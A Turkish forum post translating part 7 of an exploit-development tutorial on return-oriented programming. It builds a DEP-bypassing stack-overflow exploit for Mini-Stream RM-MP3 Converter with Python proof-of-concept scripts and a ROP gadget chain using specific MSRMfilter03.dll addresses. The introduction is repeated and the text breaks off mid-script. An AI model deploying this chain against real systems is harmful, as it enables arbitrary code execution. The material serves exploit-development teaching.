- 21 Eki 2015
- 477
- 1
7. Bölüm: Dönüş Odaklı Programlama
Eller havaya, bu bir soygun!!. Bir fincan kahveniz var ve yığın exploitini nasıl bir üst seviyeye taşıyacağınızı düşünüyorsunuz. Bugün ROP ile cebelleşeceğiz (Dönüş Odaklı Programlama). Önceki eğitimlerden farklı olarak bu parametreleri yığındaki Windows API çağrıları için oluşturacağız ve daha sonra bunları çalıştıracağız. Tıpkı diğer tüm eğitici bölümlerde olduğu gibi ROPu öğrenmek için de baya çalışmanız gerekecek. Yine söylüyorum, bu eğitim bilmeniz gereken her şeyi kapsamaz ve kapsayamaz. ROP hakkında daha iyi bir fikir edinmek istiyorsanız, corelanc0d3rın sayfasını buradan kontrol edin.
Bu tekniği tanıtmak için Mini-Stream RM-MP3 Converter 3.1.2.1 için yeni bir exploit oluşturacağız. Burada bu program için bir önceki exploiti görebilirsiniz amca göreceğiniz gibi, farklı ve belki de daha etkili bir şey yapacağız!
Hata Ayıklama Makinesi: Windows 7 (herhangi bir Windows sürümü iş görür, ben Win7 Pro SP1 kullanıyorum)
Badcharacters: \x00\x09\x0A
Güvenlik Açıklı Yazılım: İndir
Giriş
Peki tüm bu delilik nedir ve bunu neden önemsiyorsun? İnsanlar yıllardır yığın taşmalarını kötüye kullanıyor. Microsoftu ne için suçlayabiliriz ve bununla yüzleşmemiz gerek, yıllarca süren yığın parçalama onların dikkatinden kaçmadı. Farkında olduğum kadarıyla, WinXP SP2 ve Win Server 2003 SP1den başlayarak, Windows yürütülebilir olmayan bellek aralıklarından kod yürütülmesini önlemek için yeni bir güvenlik özelliği uyguladı. DEP (Veri Yürütme Önleme) iki çeşittir.
Hardware Zorunlu DEP: CPU, bellek sayfalarını yürütülebilir olmayan olarak işaretler.
Yazılım Zorunlu DEP: Bu özellikleri desteklemeyen CPUlar için alternatif olur.
Hardware Zorunlu DEPyi destekleyen CPUlar, yürütülebilir olmayan (NX) bit kümesine sahip bellek aralıklarından kod yürütmeyi redder. Bunun ana nedeni, özel/kötü amaçlı kodun başka bir programa enekte edilmesini önlemek için daha sonra yürütülür. Bu, esas olarak kötü amaçlı yazılım ve yığın tabanlı exploitlere engel olmak için uygulandı. Bununla birlikte, DEP bazen programların istenmeyen ve hatalı davranmasına neden olabilir çünkü meşru süreçlerin yapmaları gereken şeyleri yapmasını engeller. Bu sorunu çözmek için DEP, ana işletim sisteminizde iki şekilde yapılandırılabilir.
Opt-In Mode: DEP Yalnızca sistem işlemleri ve özel olarak tanımlanmış programlar için etkinleştirilir.
Opt-Out Mode: DEP, özel olarak/manuel olarak devre dışı bırakılanlar dışındaki tüm programlar ve hizmetler için etkindir.
Peki bu exploit geliştirme ne anlama geliyor? DEP etkin bellek bölümünde herhangi bir kodu çalıştırmaya çalıştığımızda (EIP veya shell kodu hakkında konuşuyor olalım) bir erişim ihlali oluşur STATUS_ACCESS_VIOLATION (0x0000005) işlemin sonlandırılmasına neden olur. Açıkça bu bizim için kötü! Bununla birlikte, DEP ile ilgili en ilginç şey, her işlem için devre dışı bırakılabilmesidir. Bu pratik olarak, bir dizi belleği yürütülebilir olarak işaretleyen Windows API çağrıları olduğu anlamına gelir. Asıl sorun hala devam ediyor, herhangi bir kod yürütemezsek, Windows API fonksiyonlarını nasıl çağırabiliriz?
Dönüş Odaklı Programa (ROP) girin. Bu teknik ilk olarak 2005 yılında Sebastian Krahmer tarafından SUSE Linuxta tanıtıldı. Makalesini burada okuyabilirsiniz (okumalısınız, hehe). Temel fikir, Windows API çağrımıza parametre oluşturmak için yüklü modüllerden mevcut kod parçalarını (veya daha sonra onlara gadgetlar diyeceğimiz gibi) ödünç alacağımızdır. Bunu işe yaramasının nedeni, DEP etkinken bir türlü talimatı yürütmemize izin verilmesidir bir RETN. Temelde RETN ne yığında sonraki işaretçi yönlendirme yapılmasıdır. Bir RETN gerçekletirerek aslında herhangi bir kod yürütmüyoruz, bu anlamda DEPin bir NOP versiyonu gibi bir şey. Bu Dönüş Odaklı Programlama terimini açıklığa kavuşturmalıdır. Yığını bir RETN ile biten tlimat dizelerini içeren uygulama modüllerinden işaretçilerle dolduracağız. Birlikte bu dizileri zincirleme üst düzey Meclis hesaplama yürütmek için bize izin verir. Aşağıdaki örnek, bunu göstermek için yardımcı olmalıdır.
Doğru anlamışsınız! Tüm ROP-Gadgetları listeleyeceğiz ve sonra API çağrımızı oluşturmak için onları bir araya getirin, bu da DEPyi devre dışı bırakacak ve ikinci aşamadaki payloadımızı gerçekleştirmemize izin verecektir. Bu teknik, belirli bir talimatın belirli bir modül içinde nerede bulunacağını güvenilir bir şekilde tahmin etme yeteneğimize dayanır. Böylece, yalnızca rebase olmayan ve aslr olmayan modüllerden gadgetları kullanabiliriz.
Windows yapılarında ve hizmet paketlerinde kullanılabilen birçok farklı API çağrısı vardır. Corelandan alınan bu tablo, yapı ve hizmet paketine dayalı DEPyi devre dışı bırakmak için nelerin kullanılabileceğine dair güzel bir genel bakış sunar.
Gördüğünüz gibi, bir şeyi yapmanın birden fazla yolu vardır. Bazı yöntemler diğerlerinden daha evrenseldir. Bu farklı API çağrıları MSDNde düzgün bir şekilde belgelenmiştir bu yüzden, onları okumak ve ihtiyaç duydukları parametreleri daha iyi anlamak için biraz zaman ayırın. İşletim sistemi modülleri ASLR etkin olacak bu nedenle genel olarak, uygulama modüllerinin bu API çağrılarından herhangi birine işaretçi içerip içermediğini göreceğiz. Mevcut olana bağlı olarak, ROP-Chain inşa etmeye başlayabiliriz.
Temel olarak, ROP payloadının ilk aşamasını yazmanın iki yolu vardır. (1) Tüm API parametrelerini çeşitli kayıtlara yükleyebiliriz ve onları uygun sırayla yığına itmek için bir PUSHAD talimatı kullanabiliriz (bugün yapacağımız şey bu). Ya da (2) parametreleri doğrudan yığına uygun sırayla yazabiliriz ve sonra onlara geri dönebiliriz (Bu daha zor olacaktır).
Son olarak, ROP içinde bütün bir payloadı oluşturmanın da mümkün olduğunu belirtmem gerek. Bu ciddi Ninja becerileri gerektirir ve DEPyi devre dışı bırakan bir ROP-Stager oluşturmaktan çok daha az pratiktir ancak bu yol hiç yoktan daha havalı, hehe.
Primitifleri Toplamak
Exploitleri geliştirme tamamen doğru bilgileri almakla alakalıdır. Ne kadar bilgi toplarsanız, her şey o kadar net olur, POC -> exploitten de o kadar hızlı geçersiniz. POC ile her şeyi başlatalım, biraz hile yaptım ve 4 B ile EIPnin üzerine yazan temel bir arabellek yapısı vermek için POCi değiştirdi (şimdiye kadar bir m3tasploit desenini kullanabildiğinizi varsayıyorum).
Tamam önceden yaptığımız gibi, Mini-Stream hata ayıklayıcısını takın ve crash.m3u dosyasını açın. Aşağıda ortaya çıkan çökmeyi ekran görüntüsünde görebilirsiniz. Dikkat edilmesi gereken birkaç şey var: (1) Arabelleğimizde ESP kayıt defterinde yer almaktadır ve bu iyi bir haberdir çünkü ROP-Chain ulaşmak için EIPyi basit bir RETN ile üzerine yazabiliriz ve (2) ESP, C-arabelleğimize 4 bayt işaret ettiğine dikkat etmeliyiz bu yüzden bu baytları daha sonra telafi etmemiz gerekecek.
İyi, şimdi bellek düzeni hakkında temel bir fikrimiz var. Monayı çıkaralım ve yüklü modüllere bir göz atalım (unutmayın rebase olmayan, ASR olmayan ve badcharacters olmadığını). Tüm kriterlerimizi karşılayan tek bir dil var gibi görünüyor (MSRMfilter03.dll). Monanın ROP-Chain için kullanabileceğimiz dll içindeki API işaretçilerini aramasını sağlayarak daha fazla ağır iş yapmasına izin verebiliriz. Aşağıdaki ekran görüntülerinde sonuçları görebilirsiniz.
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb\x00\x09\x0a
Numaralandırma işleminin son aşaması şöyledir. Monanın seçtiğimiz modüle bağlı olarak bir ROP-Gadget listesi oluşturmasını sağlamak, bu arada bu, monanın en şaşırtıcı özelliklerinden biri ve corelanc0d3rın içine koyduğu çabanın bir kanıtıdır!! Mona birkaç önemli dosya üretecek: rop.txt (tüm ROP-Gadgetların ham listesi), rop_suggestions.txt (fonksiyona dayalı ROP-Gadgetların yoğun şekilde filtrelenmiş bir listesi), stackpivot.txt (ihtiyacınız varsa ESP döndüren araçların listesi) ve rop_virtualprotect.txt (VirtualProtect tabanlı bir ROP-Chain oluşturmaya çalışır). Kaynaklara kolay ulaşmak için bu dosyaları açık tutmanızı öneririm, notepad++ kullanıyorsanız, bunları ayrı sekmelerde açabilirsiniz. VirtualAlloc tabanlı bir zincir inşa edecek olsak bile, rop_virtualprotect.txt, ihtiyacımız olan bazı temel araçlar olduğu için bakmak hala yararlıdır.
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
ROP-Chain Oluşturmak
Ciddi konulara geçmeden önce,POCinizi güncelleyelim. Daha önce gördüğümüz gibi, RETN için bir işaretçi ile EIPnin üzerine yazabiliriz çünkü bizim arabellek ESP kayıt yerinde bulunmaktadır. Eğer rop.txt dosyasını açarsanız talimatlardan herhangi birini seçebilirsiniz ve böylece RETN adresini değiştirebilirsiniz ve onu korursunuz. Bunu yaparken, ROP-Chain için bir değişken ayarlayacağız ve dha önce fark ettiğimiz 4 baytları telafi etmeyi unutmayacağız.
Tamam şu ana kadar iyi geldik. VirtualAlloca bir göz atalım. Kullanacağımız parametreleri daha iyi anlamak için MSDNdeki belgeleri okumak için biraz zaman ayırıp okumanızı öneririm.
VirtualAlloc: MSDN
Gördüğünüz gibi, API çağrısının yapısı nispeten basittir, ayarlamamız gereken değerlerin çoğu per-defined dır.Gelecek nesiller için, Virtualprotectin yapısını da en yaygın ROP-Stagers oldukları için düzenleyeceğim ve bunlar, tüm Windows yapılarında evrensel API çağrılarıdır.
VirtualAlloc: MSDN
Bu bilgi aklımızda iken, ROP zincirimizi yazmak için atmamız gereken adımların net bir resmini elde etmek için POCumuzu güncelleyelim.
Savaş planımız şu anda şudur, yukarıda listelenen değerleri uygun kayıtlara yüklemek ve ROP-Gadget dizilerini bir araya getirmektir. Tüm talimatları aldıktan sonra, onları karıştırmalıyız çünkü bazı talimatların daha önce ayarladığımız kayıtları değiştireceğini hatırlamamız gerekiyor. Kolayca bulabileceğimiz bazı talimatları bir araya getirerek başlayalım, geri kalanıyla sonra endişeleniriz. Her dizide mümkün olan en az sayıda talimat almak istediğiniz unutmayın.
Tamamdır, tüm aşağı sarkan meyvelere sahibiz. Diğer araçlar biraz yaratıcılık ve bulmaca zekası gerektirecektir ancak biraz çabayla ihtiyacımız olan talimatları bir araya getirebilmelisiniz. Yapacağım zincir kesinlikle tek seçenek değil. Gadgetlarımızı yapılandırmanın birkaç yolu vardır ve bazıları şüphesiz daha verimli olacaktır. Araştırma ve rop.txt eklemek için tam zamanı.
Bu dizelerin bazıları biraz karmaşık gibi görünüyor ancak anlamak zor değildir, onlara bakmak için biraz zaman ayırın, böylece anladığınızı fark edeceksiniz. Gördüğünüz gibi bu araçlardan bazıları, uygun değeri yüklemek için birkaç kaydı işliyor. Gadgetlarımızı ROP-Chani etkilemeyecek şekilde sıralayabiliriz, bu yüzden bunu aklınızda tutun. Her şeyi bir araya getirmenin ve POCimizi yeniden yapılandırmanın zamanı geldi.
Her şeyin istendiği gibi çalıştığını doğrulamak için hata ayıklayıcıdaki ROP-Chainden geçebilirsiniz. Aşağıdaki ekran görüntüsünde, VirtualAlloc çağrısının yığında ayarlandığını görebilirsiniz. Bu çağrıdan sonra yerleştireceğimiz herhangi bir payload çalıştırılacaktır.
Shell Kodu + Oyun Bitti
Geriye kalan tek şey, ikinci aşama payloadı olarak bir shell kodu eklemektir. Çok fazla bellek ayırmayı başaramadık bu yüzden boş alanımız sınırlı ama SkyLinedın calc shell kodunu ekledim (eğer ilgili iseniz buraya göz atabilirsiniz). Daha fazla bellek elde etmek mümkündür ancak bununla uğraşmaları için bu işi dikkatli okuyucularıma bırakıyorum.
Eller havaya, bu bir soygun!!. Bir fincan kahveniz var ve yığın exploitini nasıl bir üst seviyeye taşıyacağınızı düşünüyorsunuz. Bugün ROP ile cebelleşeceğiz (Dönüş Odaklı Programlama). Önceki eğitimlerden farklı olarak bu parametreleri yığındaki Windows API çağrıları için oluşturacağız ve daha sonra bunları çalıştıracağız. Tıpkı diğer tüm eğitici bölümlerde olduğu gibi ROPu öğrenmek için de baya çalışmanız gerekecek. Yine söylüyorum, bu eğitim bilmeniz gereken her şeyi kapsamaz ve kapsayamaz. ROP hakkında daha iyi bir fikir edinmek istiyorsanız, corelanc0d3rın sayfasını buradan kontrol edin.
Bu tekniği tanıtmak için Mini-Stream RM-MP3 Converter 3.1.2.1 için yeni bir exploit oluşturacağız. Burada bu program için bir önceki exploiti görebilirsiniz amca göreceğiniz gibi, farklı ve belki de daha etkili bir şey yapacağız!
Hata Ayıklama Makinesi: Windows 7 (herhangi bir Windows sürümü iş görür, ben Win7 Pro SP1 kullanıyorum)
Badcharacters: \x00\x09\x0A
Güvenlik Açıklı Yazılım: İndir
Giriş
Peki tüm bu delilik nedir ve bunu neden önemsiyorsun? İnsanlar yıllardır yığın taşmalarını kötüye kullanıyor. Microsoftu ne için suçlayabiliriz ve bununla yüzleşmemiz gerek, yıllarca süren yığın parçalama onların dikkatinden kaçmadı. Farkında olduğum kadarıyla, WinXP SP2 ve Win Server 2003 SP1den başlayarak, Windows yürütülebilir olmayan bellek aralıklarından kod yürütülmesini önlemek için yeni bir güvenlik özelliği uyguladı. DEP (Veri Yürütme Önleme) iki çeşittir.
Hardware Zorunlu DEP: CPU, bellek sayfalarını yürütülebilir olmayan olarak işaretler.
Yazılım Zorunlu DEP: Bu özellikleri desteklemeyen CPUlar için alternatif olur.
Hardware Zorunlu DEPyi destekleyen CPUlar, yürütülebilir olmayan (NX) bit kümesine sahip bellek aralıklarından kod yürütmeyi redder. Bunun ana nedeni, özel/kötü amaçlı kodun başka bir programa enekte edilmesini önlemek için daha sonra yürütülür. Bu, esas olarak kötü amaçlı yazılım ve yığın tabanlı exploitlere engel olmak için uygulandı. Bununla birlikte, DEP bazen programların istenmeyen ve hatalı davranmasına neden olabilir çünkü meşru süreçlerin yapmaları gereken şeyleri yapmasını engeller. Bu sorunu çözmek için DEP, ana işletim sisteminizde iki şekilde yapılandırılabilir.
Opt-In Mode: DEP Yalnızca sistem işlemleri ve özel olarak tanımlanmış programlar için etkinleştirilir.
Opt-Out Mode: DEP, özel olarak/manuel olarak devre dışı bırakılanlar dışındaki tüm programlar ve hizmetler için etkindir.
Peki bu exploit geliştirme ne anlama geliyor? DEP etkin bellek bölümünde herhangi bir kodu çalıştırmaya çalıştığımızda (EIP veya shell kodu hakkında konuşuyor olalım) bir erişim ihlali oluşur STATUS_ACCESS_VIOLATION (0x0000005) işlemin sonlandırılmasına neden olur. Açıkça bu bizim için kötü! Bununla birlikte, DEP ile ilgili en ilginç şey, her işlem için devre dışı bırakılabilmesidir. Bu pratik olarak, bir dizi belleği yürütülebilir olarak işaretleyen Windows API çağrıları olduğu anlamına gelir. Asıl sorun hala devam ediyor, herhangi bir kod yürütemezsek, Windows API fonksiyonlarını nasıl çağırabiliriz?
Dönüş Odaklı Programa (ROP) girin. Bu teknik ilk olarak 2005 yılında Sebastian Krahmer tarafından SUSE Linuxta tanıtıldı. Makalesini burada okuyabilirsiniz (okumalısınız, hehe). Temel fikir, Windows API çağrımıza parametre oluşturmak için yüklü modüllerden mevcut kod parçalarını (veya daha sonra onlara gadgetlar diyeceğimiz gibi) ödünç alacağımızdır. Bunu işe yaramasının nedeni, DEP etkinken bir türlü talimatı yürütmemize izin verilmesidir bir RETN. Temelde RETN ne yığında sonraki işaretçi yönlendirme yapılmasıdır. Bir RETN gerçekletirerek aslında herhangi bir kod yürütmüyoruz, bu anlamda DEPin bir NOP versiyonu gibi bir şey. Bu Dönüş Odaklı Programlama terimini açıklığa kavuşturmalıdır. Yığını bir RETN ile biten tlimat dizelerini içeren uygulama modüllerinden işaretçilerle dolduracağız. Birlikte bu dizileri zincirleme üst düzey Meclis hesaplama yürütmek için bize izin verir. Aşağıdaki örnek, bunu göstermek için yardımcı olmalıdır.
Kod:
(1) All our pointers on the stack directly (2) All our pointers on the stack reference a ********
reference a RETN. in memory that contains instructions followed by
a RETN (=gadget).
ESP -> ???????? => RETN ESP -> ???????? => POP EAX # RETN
???????? => RETN ffffffff => we put this value in EAX
???????? => RETN ???????? => INC EAX # RETN
???????? => RETN ???????? => XCHG EAX,EDX # RETN
(1) In this case our RETN's will simply (2) This is just an example but essentially we are
increment ESP without doing anything. zeroing out EDX using pre-existing instructions
that are located somewhere in the application
without actally executing any code.
Doğru anlamışsınız! Tüm ROP-Gadgetları listeleyeceğiz ve sonra API çağrımızı oluşturmak için onları bir araya getirin, bu da DEPyi devre dışı bırakacak ve ikinci aşamadaki payloadımızı gerçekleştirmemize izin verecektir. Bu teknik, belirli bir talimatın belirli bir modül içinde nerede bulunacağını güvenilir bir şekilde tahmin etme yeteneğimize dayanır. Böylece, yalnızca rebase olmayan ve aslr olmayan modüllerden gadgetları kullanabiliriz.
Windows yapılarında ve hizmet paketlerinde kullanılabilen birçok farklı API çağrısı vardır. Corelandan alınan bu tablo, yapı ve hizmet paketine dayalı DEPyi devre dışı bırakmak için nelerin kullanılabileceğine dair güzel bir genel bakış sunar.
Gördüğünüz gibi, bir şeyi yapmanın birden fazla yolu vardır. Bazı yöntemler diğerlerinden daha evrenseldir. Bu farklı API çağrıları MSDNde düzgün bir şekilde belgelenmiştir bu yüzden, onları okumak ve ihtiyaç duydukları parametreleri daha iyi anlamak için biraz zaman ayırın. İşletim sistemi modülleri ASLR etkin olacak bu nedenle genel olarak, uygulama modüllerinin bu API çağrılarından herhangi birine işaretçi içerip içermediğini göreceğiz. Mevcut olana bağlı olarak, ROP-Chain inşa etmeye başlayabiliriz.
Temel olarak, ROP payloadının ilk aşamasını yazmanın iki yolu vardır. (1) Tüm API parametrelerini çeşitli kayıtlara yükleyebiliriz ve onları uygun sırayla yığına itmek için bir PUSHAD talimatı kullanabiliriz (bugün yapacağımız şey bu). Ya da (2) parametreleri doğrudan yığına uygun sırayla yazabiliriz ve sonra onlara geri dönebiliriz (Bu daha zor olacaktır).
Son olarak, ROP içinde bütün bir payloadı oluşturmanın da mümkün olduğunu belirtmem gerek. Bu ciddi Ninja becerileri gerektirir ve DEPyi devre dışı bırakan bir ROP-Stager oluşturmaktan çok daha az pratiktir ancak bu yol hiç yoktan daha havalı, hehe.
Primitifleri Toplamak
Exploitleri geliştirme tamamen doğru bilgileri almakla alakalıdır. Ne kadar bilgi toplarsanız, her şey o kadar net olur, POC -> exploitten de o kadar hızlı geçersiniz. POC ile her şeyi başlatalım, biraz hile yaptım ve 4 B ile EIPnin üzerine yazan temel bir arabellek yapısı vermek için POCi değiştirdi (şimdiye kadar bir m3tasploit desenini kullanabildiğinizi varsayıyorum).
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A' #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Tamam önceden yaptığımız gibi, Mini-Stream hata ayıklayıcısını takın ve crash.m3u dosyasını açın. Aşağıda ortaya çıkan çökmeyi ekran görüntüsünde görebilirsiniz. Dikkat edilmesi gereken birkaç şey var: (1) Arabelleğimizde ESP kayıt defterinde yer almaktadır ve bu iyi bir haberdir çünkü ROP-Chain ulaşmak için EIPyi basit bir RETN ile üzerine yazabiliriz ve (2) ESP, C-arabelleğimize 4 bayt işaret ettiğine dikkat etmeliyiz bu yüzden bu baytları daha sonra telafi etmemiz gerekecek.
İyi, şimdi bellek düzeni hakkında temel bir fikrimiz var. Monayı çıkaralım ve yüklü modüllere bir göz atalım (unutmayın rebase olmayan, ASR olmayan ve badcharacters olmadığını). Tüm kriterlerimizi karşılayan tek bir dil var gibi görünüyor (MSRMfilter03.dll). Monanın ROP-Chain için kullanabileceğimiz dll içindeki API işaretçilerini aramasını sağlayarak daha fazla ağır iş yapmasına izin verebiliriz. Aşağıdaki ekran görüntülerinde sonuçları görebilirsiniz.
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb\x00\x09\x0a
Numaralandırma işleminin son aşaması şöyledir. Monanın seçtiğimiz modüle bağlı olarak bir ROP-Gadget listesi oluşturmasını sağlamak, bu arada bu, monanın en şaşırtıcı özelliklerinden biri ve corelanc0d3rın içine koyduğu çabanın bir kanıtıdır!! Mona birkaç önemli dosya üretecek: rop.txt (tüm ROP-Gadgetların ham listesi), rop_suggestions.txt (fonksiyona dayalı ROP-Gadgetların yoğun şekilde filtrelenmiş bir listesi), stackpivot.txt (ihtiyacınız varsa ESP döndüren araçların listesi) ve rop_virtualprotect.txt (VirtualProtect tabanlı bir ROP-Chain oluşturmaya çalışır). Kaynaklara kolay ulaşmak için bu dosyaları açık tutmanızı öneririm, notepad++ kullanıyorsanız, bunları ayrı sekmelerde açabilirsiniz. VirtualAlloc tabanlı bir zincir inşa edecek olsak bile, rop_virtualprotect.txt, ihtiyacımız olan bazı temel araçlar olduğu için bakmak hala yararlıdır.
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
ROP-Chain Oluşturmak
Ciddi konulara geçmeden önce,POCinizi güncelleyelim. Daha önce gördüğümüz gibi, RETN için bir işaretçi ile EIPnin üzerine yazabiliriz çünkü bizim arabellek ESP kayıt yerinde bulunmaktadır. Eğer rop.txt dosyasını açarsanız talimatlardan herhangi birini seçebilirsiniz ve böylece RETN adresini değiştirebilirsiniz ve onu korursunuz. Bunu yaparken, ROP-Chain için bir değişken ayarlayacağız ve dha önce fark ettiğimiz 4 baytları telafi etmeyi unutmayacağız.
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Tamam şu ana kadar iyi geldik. VirtualAlloca bir göz atalım. Kullanacağımız parametreleri daha iyi anlamak için MSDNdeki belgeleri okumak için biraz zaman ayırıp okumanızı öneririm.
VirtualAlloc: MSDN
Kod:
Structure: Parameters:
LP**** WINAPI VirtualAlloc( => A pointer to VirtualAlloc()
_In_opt_ LP**** lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize (0x1)
_In_ DWORD flAl********Type, => flAl********Type (0x1000)
_In_ DWORD flProtect => flProtect (0x40)
);
Gördüğünüz gibi, API çağrısının yapısı nispeten basittir, ayarlamamız gereken değerlerin çoğu per-defined dır.Gelecek nesiller için, Virtualprotectin yapısını da en yaygın ROP-Stagers oldukları için düzenleyeceğim ve bunlar, tüm Windows yapılarında evrensel API çağrılarıdır.
VirtualAlloc: MSDN
Kod:
Structure: Parameters:
BOOL WINAPI VirtualProtect( => A pointer to VirtualProtect()
_In_ LP**** lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize up to you to chose as needed (0x201)
_In_ DWORD flNewProtect, => flNewProtect (0x40)
_Out_ PDWORD lpflOldProtect => A writable pointer
);
Bu bilgi aklımızda iken, ROP zincirimizi yazmak için atmamız gereken adımların net bir resmini elde etmek için POCumuzu güncelleyelim.
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LP**** lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAl********Type, => flAl********Type (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the stack grows downwards so we need to load the #
# values into the registers in reverse order! (2) We are going to do #
# some clever trickery to align our return after executing. To #
# acchieve this we will be filling EDI with a ROP-Nop and we will be #
# skipping ESP leaving it intact. #
# #
# EAX 90909090 => Nop #
# ECX 00000040 => flProtect #
# EDX 00001000 => flAl********Type #
# EBX 00000001 => dwSize #
# ESP ???????? => Leave as is #
# EBP ???????? => Call to ESP (jmp, call, push,..) #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060 #
# EDI 10019C60 => ROP-Nop same as EIP #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141) # padding to compensate 4-bytes at ESP
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a' #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll) #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
Savaş planımız şu anda şudur, yukarıda listelenen değerleri uygun kayıtlara yüklemek ve ROP-Gadget dizilerini bir araya getirmektir. Tüm talimatları aldıktan sonra, onları karıştırmalıyız çünkü bazı talimatların daha önce ayarladığımız kayıtları değiştireceğini hatırlamamız gerekiyor. Kolayca bulabileceğimiz bazı talimatları bir araya getirerek başlayalım, geri kalanıyla sonra endişeleniriz. Her dizide mümkün olan en az sayıda talimat almak istediğiniz unutmayın.
Kod:
(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)
(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)
(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)
Tamamdır, tüm aşağı sarkan meyvelere sahibiz. Diğer araçlar biraz yaratıcılık ve bulmaca zekası gerektirecektir ancak biraz çabayla ihtiyacımız olan talimatları bir araya getirebilmelisiniz. Yapacağım zincir kesinlikle tek seçenek değil. Gadgetlarımızı yapılandırmanın birkaç yolu vardır ve bazıları şüphesiz daha verimli olacaktır. Araştırma ve rop.txt eklemek için tam zamanı.
Kod:
(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN /
(6) EDX -> flAl********Type (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAl********Type (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate \
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate |
0x1002b9ff # Rop-Nop to compensate /
(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory ******** at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN /
0x1002a487 # ADD ECX,ECX # RETN \
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN |
0x1002a487 # ADD ECX,ECX # RETN /
(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)
Bu dizelerin bazıları biraz karmaşık gibi görünüyor ancak anlamak zor değildir, onlara bakmak için biraz zaman ayırın, böylece anladığınızı fark edeceksiniz. Gördüğünüz gibi bu araçlardan bazıları, uygun değeri yüklemek için birkaç kaydı işliyor. Gadgetlarımızı ROP-Chani etkilemeyecek şekilde sıralayabiliriz, bu yüzden bunu aklınızda tutun. Her şeyi bir araya getirmenin ve POCimizi yeniden yapılandırmanın zamanı geldi.
Kod:
#!/usr/bin/python
import sys, struct
file="crash.m3u"
#---------------------------------------------------------[Structure]-#
# LP**** WINAPI VirtualAlloc( => PTR to VirtualAlloc #
# _In_opt_ LP**** lpAddress, => Return Address (Call to ESP) #
# _In_ SIZE_T dwSize, => dwSize (0x1) #
# _In_ DWORD flAl********Type, => flAl********Type (0x1000) #
# _In_ DWORD flProtect => flProtect (0x40) #
# ); #
#---------------------------------------------------[Register Layout]-#
